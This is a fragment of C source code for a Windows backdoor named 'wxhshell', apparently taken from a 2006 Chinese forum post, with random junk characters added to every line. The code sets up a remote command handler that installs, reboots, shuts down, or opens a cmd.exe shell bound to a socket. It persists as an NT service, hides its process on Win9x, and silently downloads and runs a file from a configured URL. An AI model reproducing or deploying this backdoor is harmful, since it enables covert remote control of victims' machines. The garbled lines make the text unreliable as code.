  else { `f[  
EED0U?  
    switch(cmd[0]) { :>|dE%/e$  
  y+aKk6(_W  
  // 帮助 [n2+`A  
  case '?': { ~Ydm"G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f:K>o .  
    break; %lnVzGP  
  } lR>p  
  // 安装 j|KjQ'9  
  case 'i': { 03/mB2|TF(  
    if(Install()) DFXHD,o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ELN1F0TneH  
    else )n&6= Li  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M!/!*,~  
    break; 2dyS_2u  
    } mDXG~*1   
  // 卸载 j S4\;  
  case 'r': { /V {1Zw=  
    if(Uninstall()) bess b>=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -d.i4X3j  
    else d=p=eUd2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *mJ\Tzc)  
    break; 64L;np>  
    } f<{f/lU@  
  // 显示 wxhshell 所在路径 2oF1do;  
  case 'p': { Dr)jB*yK  
    char svExeFile[MAX_PATH]; .OpG2P  
    strcpy(svExeFile,"\n\r"); .6LlkM6[g  
      strcat(svExeFile,ExeFile); _-T^YeQ/  
        send(wsh,svExeFile,strlen(svExeFile),0); bzXeG;c<7  
    break; `h'7X(  
    } ~>#?.f  
  // 重启 {pc  (b  
  case 'b': { x[y}{T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #Dea$  
    if(Boot(REBOOT)) fm^J-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B'e@RhU;  
    else { x*sDp3f[*  
    closesocket(wsh); <N:)Xf9`  
    ExitThread(0); S,s#D9NU  
    } M2$Hb_S{  
    break; y9N6!M|'y  
    } [}=a6Q>)  
  // 关机 DbSR(:  
  case 'd': { VRZqY7j}g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 95E #  
    if(Boot(SHUTDOWN)) Ne)3@?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 :4o`o  
    else { tVe =c  
    closesocket(wsh); I.'/!11>  
    ExitThread(0); >WA'/Sl<A<  
    } y=aWSb2y'  
    break; e*y l_iW  
    } FHSFH>  
  // 获取shell t2iQ[`/?~  
  case 's': { ?iZM.$![  
    CmdShell(wsh); [1Aoj|  
    closesocket(wsh); 73_=CP" t  
    ExitThread(0); .EReYZO  
    break; GkIhPn(d  
  } cMrO@=b;  
  // 退出 )}7X4g6X   
  case 'x': { A>8~deZ9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H#u N&^+H  
    CloseIt(wsh); lCgzQZ  
    break; yk'L_M(=  
    } =CW> ;h]  
  // 离开 'd|!Hr<2  
  case 'q': { BaWU[*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *8_Dn}u?Jx  
    closesocket(wsh); 2+/r~LwbK  
    WSACleanup(); dW2 2v!  
    exit(1); >& 4):  
    break; -G~/ GO  
        } RU=\eD  
  } nLOK1@,4  
  } X`3_ yeQc  
 gnkeJ}K  
  // 提示信息 /i dI-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eso-{W,D  
} ($!uBF-b  
  } 7n o6  
$e2+O\.>  
  return; d!46`b$rd  
} Io"3wL)2  
[W*M#00_&4  
// shell模块句柄 "iGQ1#6|d  
int CmdShell(SOCKET sock) sv&^sARN  
{ y@,PTF  
STARTUPINFO si; @lX%Fix9  
ZeroMemory(&si,sizeof(si)); #jzF6j%G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5}Id[%.x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;5.<M<PH  
PROCESS_INFORMATION ProcessInfo; ?PS?_+E\L  
char cmdline[]="cmd"; Lq$ig8V:O7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yMu G? x+  
  return 0; (7N!Jvg9  
} i=*H|)  
>tPf.xI|l  
// 自身启动模式 "]uPke@  
int StartFromService(void) .vctuy&  
{ 4x&Dz0[[S  
typedef struct <;yS&8  
{ QVJpX;u  
  DWORD ExitStatus; Q"D5D rj  
  DWORD PebBaseAddress; '&hd^9]Lo  
  DWORD AffinityMask; d"IZt;s/,  
  DWORD BasePriority; )hl7)~S<  
  ULONG UniqueProcessId; }!{R;,5/n  
  ULONG InheritedFromUniqueProcessId; M>|ZBEK  
}   PROCESS_BASIC_INFORMATION; 4F9!3[}qF  
D/Ok  
PROCNTQSIP NtQueryInformationProcess; _3D9>8tzE7  
iqdU?&.;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ',xUU{5?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :<bhQY  
X(eW+,H  
  HANDLE             hProcess; LGW:+c  
  PROCESS_BASIC_INFORMATION pbi; fI`gF^u(  
-.y1]4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,}]v7DD  
  if(NULL == hInst ) return 0; M]p-<R\  
d/jP2uu A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `A%WCd60Tc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tc/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =Gu&0f  
$'>JG9M  
  if (!NtQueryInformationProcess) return 0; |U;O HS  
(&Jo. <  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (CRx'R  
  if(!hProcess) return 0; Bm,Vu 1]t  
$OdBuJA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M49l2x=]9  
9unRMvE u  
  CloseHandle(hProcess); {|hg3R~A  
~##FW|N)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h@NC#Iod  
if(hProcess==NULL) return 0; |hw.nY]J  
3~bB2APk  
HMODULE hMod; yyljyE  
char procName[255]; vG'#5%,|  
unsigned long cbNeeded; 8Th,C{  
O1c:X7lHc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HV)aVkr/&  
,dTmI{@O  
  CloseHandle(hProcess); * 30K}&T  
HUD0 @HQI  
if(strstr(procName,"services")) return 1; // 以服务启动 J<+ f7L  
/{`"X_.o  
  return 0; // 注册表启动 k9OGnCW\  
} 2b"DkJj'  
Cs[ d:T  
// 主模块 f$\ O:E=  
int StartWxhshell(LPSTR lpCmdLine) &K60n6q{aQ  
{ _qf39fM;\  
  SOCKET wsl; /q\e&&e  
BOOL val=TRUE; ~a[ /l  
  int port=0; bA,Zfsr6#  
  struct sockaddr_in door; mi<Q3;m  
X*@ tp,t  
  if(wscfg.ws_autoins) Install(); oRSA&h Ss  
w-e{_R  
port=atoi(lpCmdLine); 3p&T?E%  
C{pOGc@  
if(port<=0) port=wscfg.ws_port; Z3hZy&_I  
_3@5@1[s  
  WSADATA data; x1#>"z7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7~QI4'e  
ur8+k4] \"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5Y^"&h[/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :K]7(y7>  
  door.sin_family = AF_INET; h#O9TB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wj^e)2%  
  door.sin_port = htons(port); !2.BLJE>  
U< G2tn(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D)ri_w!Q  
closesocket(wsl); U< Xdhgo?  
return 1; [Cv./hEQi  
} uO LShNo  
<C&|8@A0  
  if(listen(wsl,2) == INVALID_SOCKET) { O7VEyQqf5  
closesocket(wsl); F""9O6u  
return 1; $~.YB\3  
} KH;~VR8"/  
  Wxhshell(wsl); O6G'!h\F  
  WSACleanup(); ]$Z:^" JS3  
s2G9}i{  
return 0; T9Q3I  
o= ($'(1  
} hA 5')te<  
 A\Ib  
// 以NT服务方式启动 H,L{N'[Xph  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \(P?=] -  
{ E|f[ #+:+  
DWORD   status = 0; Ha-]U:Vcx  
  DWORD   specificError = 0xfffffff; U[f00m5{HV  
?$109wZ:9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N5=BjXS Ag  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1Y'4 g3T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nPXP9wmh4x  
  serviceStatus.dwWin32ExitCode     = 0; A,DBq9Z+4R  
  serviceStatus.dwServiceSpecificExitCode = 0; D1xGUz2r  
  serviceStatus.dwCheckPoint       = 0; ]qv0Y~+`-K  
  serviceStatus.dwWaitHint       = 0; Yu3S3aRE  
4G(7V:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K'r;#I|"J  
  if (hServiceStatusHandle==0) return; Vz/w.%_g  
_=s9o/Cn]  
status = GetLastError(); -Y/i h(I^  
  if (status!=NO_ERROR) O+=%Mz(l  
{ dn- [Gnde  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f<@!{y 2Xe  
    serviceStatus.dwCheckPoint       = 0; ^-~JkW'z  
    serviceStatus.dwWaitHint       = 0; ? x #K:a?  
    serviceStatus.dwWin32ExitCode     = status; ~< bpdI0  
    serviceStatus.dwServiceSpecificExitCode = specificError; H\ejW@< ;h  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mfQ#n!{ZH  
    return; vNGE]+QX  
  } edp I?  
VjM3M<!g>M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hHE~/U  
  serviceStatus.dwCheckPoint       = 0; h.>SVQzU  
  serviceStatus.dwWaitHint       = 0; b/z-W`gw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ja_8n["z  
} ]WDmx$"&e  
^b+>r  
// 处理NT服务事件,比如:启动、停止 )FQ"l{P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R}=5:)%w  
{ ?ZRF]\dP]  
switch(fdwControl) p5fr}#en  
{ 7a'yO+7-)  
case SERVICE_CONTROL_STOP: C.92FiC  
  serviceStatus.dwWin32ExitCode = 0; !lgL=Ys(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #,d~t  
  serviceStatus.dwCheckPoint   = 0; %MjoY_<:_  
  serviceStatus.dwWaitHint     = 0; {'O><4  
  { SO0\d0?u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $~G,T g  
  } (E0   
  return; .r<a Py$  
case SERVICE_CONTROL_PAUSE: h4pS~/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; { ] R'U/  
  break; XA2Ld  
case SERVICE_CONTROL_CONTINUE: NZq-%bE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /e'3\,2_  
  break; LW]fme<V?  
case SERVICE_CONTROL_INTERROGATE: =*,SD  
  break; K?^;|m-  
}; -XV,r<''  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q`<:CfCt  
} P9cx&Hk9  
2^WJ1: A  
// 标准应用程序主函数 d+JK")$9C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o]e,5]  
{ lnZ{Ryo(  
5.~Je6K U  
// 获取操作系统版本 '8X>,un  
OsIsNt=GetOsVer(); S 5S\zTPIf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6ZQ |L=Ytp  
Q Q3<)i  
  // 从命令行安装 >j5\J_( ;D  
  if(strpbrk(lpCmdLine,"iI")) Install(); M5`v^>  
*DF3juf~  
  // 下载执行文件 "Lbsq\W>  
if(wscfg.ws_downexe) { q3$8"Q^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [A-_?#cZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); Nn. 9J  
} dDaV2:4E  
~`OX}h/Z  
if(!OsIsNt) { <,]:jgX  
// 如果时win9x,隐藏进程并且设置为注册表启动 JtL> mH  
HideProc(); t}q e_c  
StartWxhshell(lpCmdLine); ZLkl:'E_  
} DK4yAR,g  
else 1X?ro;  
  if(StartFromService()) .Mq#88o.*  
  // 以服务方式启动 &K9;GZS?  
  StartServiceCtrlDispatcher(DispatchTable); &uNec( c  
else _ .vG)  
  // 普通方式启动 ]" 'yf;g  
  StartWxhshell(lpCmdLine); @Po5AK3cy  
iE~!?N|a3  
return 0; -N45ni87  
}
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只看该作者 1 发表于: 2006-10-10
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